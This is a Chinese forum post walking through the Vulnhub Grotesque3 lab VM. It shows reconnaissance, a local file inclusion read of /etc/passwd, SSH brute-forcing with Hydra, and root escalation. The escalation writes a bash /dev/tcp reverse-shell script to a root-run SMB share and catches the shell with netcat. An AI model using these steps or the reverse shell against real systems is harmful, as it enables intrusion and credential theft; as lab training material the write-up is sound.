Vulnhub之Grotesque3靶机详细测试过程

打印 上一主题 下一主题

主题 858|帖子 858|积分 2574

Grotesque3

识别目标主机IP地址
  1. ─(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
  2. └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
  3. Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                                                       
  4. 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                            
  5. _____________________________________________________________________________
  6.    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  7. -----------------------------------------------------------------------------
  8. 192.168.56.1    0a:00:27:00:00:11      1      60  Unknown vendor                                                                                          
  9. 192.168.56.100  08:00:27:a8:8b:04      1      60  PCS Systemtechnik GmbH                                                                                   
  10. 192.168.56.156  08:00:27:de:25:1a      1      60  PCS Systemtechnik GmbH            
复制代码
利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.156
NMAP扫描
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
  2. └─$ sudo nmap -sS -sV -sC -p- 192.168.56.156 -oN nmap_full_scan
  3. Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-26 22:34 EDT
  4. Nmap scan report for bogon (192.168.56.156)
  5. Host is up (0.0013s latency).
  6. Not shown: 65533 filtered tcp ports (no-response)
  7. PORT   STATE SERVICE VERSION
  8. 22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
  9. | ssh-hostkey:
  10. |   2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
  11. |   256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
  12. |_  256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
  13. 80/tcp open  http    Apache httpd 2.4.38 ((Debian))
  14. |_http-title: Site doesn't have a title (text/html).
  15. |_http-server-header: Apache/2.4.38 (Debian)
  16. MAC Address: 08:00:27:DE:25:1A (Oracle VirtualBox virtual NIC)
  17. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  18. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  19. Nmap done: 1 IP address (1 host up) scanned in 121.48 seconds
复制代码
NMAP扫描结果表明目标主机有2个开放端口:22(ssh)、80(http)
获得Shell

浏览器访问80端口,返回页面图片中有提示md5?
可能指的是目录字典需要md5加密?
  1. (kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
  2. └─$ for each in $(cat /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt );do echo $each | md5sum >> dirmd5.txt;done
复制代码
然后去掉每行结果的'-'
  1. $ sed -i 's/-//' dirmd5.txt
复制代码
然后删除空格:
  1. (kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
  2. └─$ sed -e 's/[[:blank:]]\+$//' -i dirmd5.txt
复制代码
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
  2. └─$ gobuster dir -u http://192.168.56.156 -w dirmd5.txt -x .php,.html,.txt,.sh,.js,.bak
  3. ===============================================================
  4. Gobuster v3.5
  5. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  6. ===============================================================
  7. [+] Url:                     http://192.168.56.156
  8. [+] Method:                  GET
  9. [+] Threads:                 10
  10. [+] Wordlist:                dirmd5.txt
  11. [+] Negative Status codes:   404
  12. [+] User Agent:              gobuster/3.5
  13. [+] Extensions:              txt,sh,js,bak,php,html
  14. [+] Timeout:                 10s
  15. ===============================================================
  16. 2023/04/26 23:23:45 Starting gobuster in directory enumeration mode
  17. ===============================================================
  18. /f66b22bf020334b04c7d0d3eb5010391.php (Status: 200) [Size: 0]
复制代码
利用gobuster工具发现了文件
但是访问该文件,返回为空,做一下FUZZ测试(模糊测试)
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
  2. └─$ wfuzz -c -u 'http://192.168.56.156/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=../../../../../etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 0
  3. /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
  4. ********************************************************
  5. * Wfuzz 3.1.0 - The Web Fuzzer                         *
  6. ********************************************************
  7. Target: http://192.168.56.156/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=../../../../../etc/passwd
  8. Total requests: 220560
  9. =====================================================================
  10. ID           Response   Lines    Word       Chars       Payload                                                                                    
  11. =====================================================================
  12. 000017563:   200        27 L     40 W       1457 Ch     "purpose"            
复制代码
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
  2. └─$ curl http://192.168.56.156/f66b22bf020334b04c7d0d3eb5010391.php?purpose=../../../../etc/passwd
  3. root:x:0:0:root:/root:/bin/bash
  4. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  5. bin:x:2:2:bin:/bin:/usr/sbin/nologin
  6. sys:x:3:3:sys:/dev:/usr/sbin/nologin
  7. sync:x:4:65534:sync:/bin:/bin/sync
  8. games:x:5:60:games:/usr/games:/usr/sbin/nologin
  9. man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  10. lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  11. mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  12. news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  13. uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  14. proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  15. www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  16. backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  17. list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  18. irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  19. gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  20. nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  21. _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
  22. systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
  23. systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
  24. systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
  25. messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
  26. sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
  27. freddie:x:1000:1000:freddie,,,:/home/freddie:/bin/bash
  28. systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
  29. mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
复制代码
经过测试,目标存在本地文件包含漏洞。接下里的目标是得到shell,先看下是否有SSH私钥文件
  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
  2. └─$ curl http://192.168.56.156/f66b22bf020334b04c7d0d3eb5010391.php?purpose=../../../../home/freddie/.ssh/id_rsa
复制代码
没有内容返回,表明目标用户freddie不存在SSH私钥文件,接下来看是否存在远程文件包含
在Kali Linux上启动http.server,然后浏览器访问:
  1. http://192.168.56.156/f66b22bf020334b04c7d0d3eb5010391.php?purpose=http://192.168.56.230:8000/test.txt
复制代码
经测试,目标不存在远程文件包含漏洞。
那看下是否可以破解用户freddie的ssh密码
  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
  2. └─$ hydra -l freddie -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.156   
  3. Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
复制代码
运行了15分钟仍然没有破解出来。
密码字典应该用之前的得到md5运算后的字典。
  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
  2. └─$ hydra -l freddie -P dirmd5.txt  ssh://192.168.56.156
  3. Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
  4. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-27 03:00:28
  5. [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
  6. [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
  7. [DATA] max 16 tasks per 1 server, overall 16 tasks, 433752 login tries (l:1/p:433752), ~27110 tries per task
  8. [DATA] attacking ssh://192.168.56.156:22/
  9. [STATUS] 145.00 tries/min, 145 tries in 00:01h, 433610 to do in 49:51h, 13 active
  10. [STATUS] 92.00 tries/min, 276 tries in 00:03h, 433479 to do in 78:32h, 13 active
  11. [STATUS] 85.86 tries/min, 601 tries in 00:07h, 433154 to do in 84:06h, 13 active
  12. [STATUS] 83.60 tries/min, 1254 tries in 00:15h, 432501 to do in 86:14h, 13 active
  13. [22][ssh] host: 192.168.56.156   login: freddie   password: 61a4e3e60c063d1e472dd780f64e6cad
  14. 1 of 1 target successfully completed, 1 valid password found
  15. [WARNING] Writing restore file because 3 final worker threads did not complete until end.
  16. [ERROR] 3 targets did not resolve or could not be connected
  17. [ERROR] 0 target did not complete
  18. Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-27 03:29:04
复制代码
得到了用户freddie的密码
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
  2. └─$ ssh freddie@192.168.56.156               
  3. The authenticity of host '192.168.56.156 (192.168.56.156)' can't be established.
  4. ED25519 key fingerprint is SHA256:P07e9iTTwbyQae7lGtYu8i4toAyBfYkXY9/kw/dyv/4.
  5. This key is not known by any other names
  6. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
  7. Warning: Permanently added '192.168.56.156' (ED25519) to the list of known hosts.
  8. freddie@192.168.56.156's password:
  9. Linux grotesque 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64
  10. The programs included with the Debian GNU/Linux system are free software;
  11. the exact distribution terms for each program are described in the
  12. individual files in /usr/share/doc/*/copyright.
  13. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
  14. permitted by applicable law.
  15. freddie@grotesque:~$ id
  16. uid=1000(freddie) gid=1000(freddie) groups=1000(freddie),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
  17. freddie@grotesque:~$ sudo -l
  18. -bash: sudo: command not found
  19. freddie@grotesque:~$ ls -alh
  20. total 20K
  21. drwxr-xr-x 4 freddie freddie 4.0K Apr 26 23:41 .
  22. drwxr-xr-x 3 root    root    4.0K Dec 17  2020 ..
  23. drwx------ 3 freddie freddie 4.0K Apr 26 23:41 .gnupg
  24. drwx------ 2 freddie freddie 4.0K Jul 11  2021 .ssh
  25. -r-x------ 1 freddie freddie   32 Jul 11  2021 user.txt
  26. freddie@grotesque:~$ cat user.txt
  27. 35A7EB682E33E89606102A883596A880
复制代码
提权
  1. [/code]pspy是一个[url=https://www.kitploit.com/search/label/Command%20Line]命令行工具[/url],它可以在没有Root权限的情况下,监控Linux进程。将pspy64上传到目标主机/tmp目录,修改权限,执行pspy64
  2. 其中有一行:
  3. [code]2023/04/27 00:38:01 CMD: UID=0     PID=3858   | /bin/sh -c bash /smbshare/*
复制代码
似乎root会执行/smbshare下的脚本,用ss命令看一下端口
  1. freddie@grotesque:/tmp$ ss -tunlp
  2. Netid            State             Recv-Q            Send-Q                          Local Address:Port                         Peer Address:Port            
  3. udp              UNCONN            0                 0                                     0.0.0.0:68                                0.0.0.0:*               
  4. udp              UNCONN            0                 0                              192.168.56.255:137                               0.0.0.0:*               
  5. udp              UNCONN            0                 0                              192.168.56.156:137                               0.0.0.0:*               
  6. udp              UNCONN            0                 0                                     0.0.0.0:137                               0.0.0.0:*               
  7. udp              UNCONN            0                 0                              192.168.56.255:138                               0.0.0.0:*               
  8. udp              UNCONN            0                 0                              192.168.56.156:138                               0.0.0.0:*               
  9. udp              UNCONN            0                 0                                     0.0.0.0:138                               0.0.0.0:*               
  10. tcp              LISTEN            0                 128                                   0.0.0.0:22                                0.0.0.0:*               
  11. tcp              LISTEN            0                 50                                    0.0.0.0:445                               0.0.0.0:*               
  12. tcp              LISTEN            0                 80                                  127.0.0.1:3306                              0.0.0.0:*               
  13. tcp              LISTEN            0                 50                                    0.0.0.0:139                               0.0.0.0:*               
  14. tcp              LISTEN            0                 128                                         *:80                                      *:*               
  15. tcp              LISTEN            0                 50                                       [::]:445                                  [::]:*               
  16. tcp              LISTEN            0                 50                                       [::]:139                                  [::]:*           
复制代码
可以看到目标确实有SMB协议
  1. freddie@grotesque:/tmp$ smbclient -L 127.0.0.1
  2. Unable to initialize messaging context
  3. Enter WORKGROUP\freddie's password:
  4.         Sharename       Type      Comment
  5.         ---------       ----      -------
  6.         print$          Disk      Printer Drivers
  7.         grotesque       Disk      grotesque
  8.         IPC$            IPC       IPC Service (Samba 4.9.5-Debian)
  9. Reconnecting with SMB1 for workgroup listing.
  10.         Server               Comment
  11.         ---------            -------
  12.         Workgroup            Master
  13.         ---------            -------
  14.         WORKGROUP            GROTESQUE
  15. freddie@grotesque:/tmp$ smbclient //127.0.0.1/grotesque
  16. Unable to initialize messaging context
  17. Enter WORKGROUP\freddie's password:
  18. Try "help" to get a list of possible commands.
  19. smb: \> ls
  20.   .                                   D        0  Sun Jul 11 09:24:27 2021
  21.   ..                                  D        0  Sun Jul 11 09:20:30 2021
  22.                 1942736 blocks of size 1024. 674116 blocks available
  23. smb: \>
复制代码
所以可以上传shell脚本到上述共享目录
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
  2. └─$ cat escalate.sh
  3. #!/bin/bash
  4. bash -i >& /dev/tcp/192.168.56.230/6666 0>&1
复制代码
  1. freddie@grotesque:/tmp$ wget http://192.168.56.230:8000/escalate.sh
  2. --2023-04-27 00:45:19--  http://192.168.56.230:8000/escalate.sh
  3. Connecting to 192.168.56.230:8000... connected.
  4. HTTP request sent, awaiting response... 200 OK
  5. Length: 57 [text/x-sh]
  6. Saving to: ‘escalate.sh’
  7. escalate.sh                             100%[============================================================================>]      57  --.-KB/s    in 0s      
  8. 2023-04-27 00:45:19 (11.9 MB/s) - ‘escalate.sh’ saved [57/57]
  9. freddie@grotesque:/tmp$ chmod +x escalate.sh
  10. freddie@grotesque:/tmp$ smbclient //127.0.0.1/grotesque
  11. Unable to initialize messaging context
  12. Enter WORKGROUP\freddie's password:
  13. Try "help" to get a list of possible commands.
  14. smb: \> put escalate.sh
  15. putting file escalate.sh as \escalate.sh (0.4 kb/s) (average 0.4 kb/s)
  16. smb: \> ls
  17.   .                                   D        0  Thu Apr 27 00:46:08 2023
  18.   ..                                  D        0  Sun Jul 11 09:20:30 2021
  19.   escalate.sh                         A       57  Thu Apr 27 00:46:08 2023
  20.                 1942736 blocks of size 1024. 674112 blocks available
  21. smb: \>
复制代码
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/grotesque3]
  2. └─$ sudo nc -nlvp 6666                                         
  3. [sudo] password for kali:
  4. listening on [any] 6666 ...
  5. connect to [192.168.56.230] from (UNKNOWN) [192.168.56.156] 59614
  6. bash: cannot set terminal process group (3986): Inappropriate ioctl for device
  7. bash: no job control in this shell
  8. root@grotesque:~# id
  9. id
  10. uid=0(root) gid=0(root) groups=0(root)
  11. root@grotesque:~# cd /root
  12. cd /root
  13. root@grotesque:~# ls -alh
  14. ls -alh
  15. total 16K
  16. drwx------  2 root root 4.0K Jul 11  2021 .
  17. drwxr-xr-x 19 root root 4.0K Jul 11  2021 ..
  18. -rw-------  1 root root   42 Jul 11  2021 .bash_history
  19. -r-x------  1 root root   32 Jul 11  2021 root.txt
  20. root@grotesque:~# cat root.txt
  21. cat root.txt
  22. 5C42D6BB0EE9CE4CB7E7349652C45C4Aroot@grotesque:~#
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

何小豆儿在此

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表